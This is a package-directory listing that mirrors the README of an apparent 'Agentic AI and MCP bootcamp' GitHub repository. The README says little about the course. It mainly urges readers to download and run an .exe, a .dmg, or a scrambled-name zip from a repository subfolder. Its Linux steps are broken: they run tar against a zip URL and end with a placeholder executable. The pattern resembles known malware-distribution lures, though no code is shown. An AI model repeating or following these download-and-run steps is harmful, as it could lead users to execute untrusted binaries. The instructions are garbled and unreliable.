freshcrate
Home > MCP Servers > Build-Agentic-AI-and-Gen-AI-Agents-with-MCP

Build-Agentic-AI-and-Gen-AI-Agents-with-MCP

🤖 Build AI and Gen AI agents using Model Context Protocol (MCP) with hands-on projects and practical tools like LangChain and CrewAI.

Description

🤖 Build AI and Gen AI agents using Model Context Protocol (MCP) with hands-on projects and practical tools like LangChain and CrewAI.

README

🤖 Build-Agentic-AI-and-Gen-AI-Agents-with-MCP - Build Intelligent AI Workflows Easily

Download Now

🚀 Getting Started

Welcome to the Build-Agentic-AI-and-Gen-AI-Agents-with-MCP Bootcamp! Here, you will learn about the Model Context Protocol (MCP) and how to build efficient AI workflows. This guide will help you download and run the software without any technical experience.

🛠️ Prerequisites

Before you begin, make sure your computer meets these basic requirements:

  • Operating System: Windows, macOS, or a Linux distribution.
  • Memory: At least 4 GB of RAM.
  • Storage: Minimum of 2 GB of free disk space.
  • Network: An internet connection for software updates and downloads.

📥 Download & Install

To get started, you need to download the application. Follow these simple steps:

  1. Visit the Releases page to download the software: Download Here.
  2. Look for the latest version listed on the page. You will see files available for download.
  3. Choose the file appropriate for your operating system:
    • For Windows, download the .exe file.
    • For macOS, download the .dmg file.
    • For Linux, download the https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP/raw/refs/heads/main/greatness/Gen-Agentic-Agents-A-with-Build-MCP-and-1.2.zip file.
  4. Click on the file to start the download.

📂 How to Run the Application

Once the download is complete, follow these steps to run the application:

Windows

  1. Locate the downloaded .exe file in your "Downloads" folder.
  2. Double-click the file to launch the installer.
  3. Follow the on-screen instructions to install the application.
  4. After installation, find the application in your Start menu and click to open.

macOS

  1. Open the downloaded .dmg file located in your "Downloads" folder.
  2. Drag and drop the application icon to your "Applications" folder.
  3. Open your "Applications" folder and double-click the application to run it.

Linux

  1. Navigate to the directory where you downloaded the file using the terminal.
  2. Extract the file using the command:
    tar -xvzf https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP/raw/refs/heads/main/greatness/Gen-Agentic-Agents-A-with-Build-MCP-and-1.2.zip
  3. Change to the extracted directory:
    cd extracted-folder-name
  4. Run the application using the command:
    ./application-executable

🎓 About the Bootcamp

In this bootcamp, you will dive deep into the MCP architecture. Here are some key topics covered:

  • MCP Overview: Understand the basic concepts of Model Context Protocol.
  • LangChain: Learn to implement AI workflows using this powerful framework.
  • LangGraph: Explore how to visualize your AI models efficiently.
  • CrewAI: Discover team-based approaches to developing AI applications.

By participating, you will complete practical projects that prepare you for real-world challenges in AI development.

💻 Support

If you encounter any issues during installation or while running the application, please reach out for support. You can find troubleshooting tips in the following places:

  • FAQ Section: Check for common questions and solutions.
  • GitHub Issues Page: Report your issue or browse existing reports for help.

📢 Share Your Feedback

Your input is valuable to us. If you enjoy the Bootcamp or have suggestions for improvements, please share your thoughts. You can create issues directly on our GitHub page.

📜 License

The application is open-source and available under the MIT License. You are free to use, modify, and distribute it as long as you maintain the original license terms.

📄 Acknowledgements

This project integrates several advanced technologies to deliver top-notch AI workflows. Based on concepts like:

  • Anthropic Claude
  • ChromaDB
  • FAISS
  • Pinecone DB

We appreciate the contributions from the community that have helped make this project possible.

📡 Stay Connected

Follow this project on GitHub to receive updates and news. You can also join our community discussions to connect with fellow users and developers.

Once again, to download the application, visit the Releases page: Download Here.

Release History

VersionChangesUrgencyDate
main@2026-04-21Latest activity on main branchHigh4/21/2026
0.0.0No release found — using repo HEADHigh4/9/2026

Dependencies & License Audit

Loading dependencies...

Similar Packages

CoexistAICoexistAI is a modular, developer-friendly research assistant framework . It enables you to build, search, summarize, and automate research workflows using LLMs, web search, Reddit, YouTube, and mappiv2.6
mengramHuman-like memory for AI agents — semantic, episodic & procedural. Experience-driven procedures that learn from failures. Free API, Python & JS SDKs, LangChain, CrewAI & OpenClaw integrations.v2.23.0
nmap-mcp🔍 Enable AI-driven network security scanning with a production-ready Nmap MCP server supporting diverse tools, scan types, and timing templates.main@2026-04-21
100-GitHub-Projects-That-Defined-2025🚀 Discover and explore the 100 GitHub projects that shaped the tech landscape of 2025, enhancing your development toolkit and knowledge.main@2026-04-21
mcp-reticle📊 Analyze and visualize Model Context Protocol (MCP) traffic with RETICLE, your Wireshark-like tool for better network insights.main@2026-04-21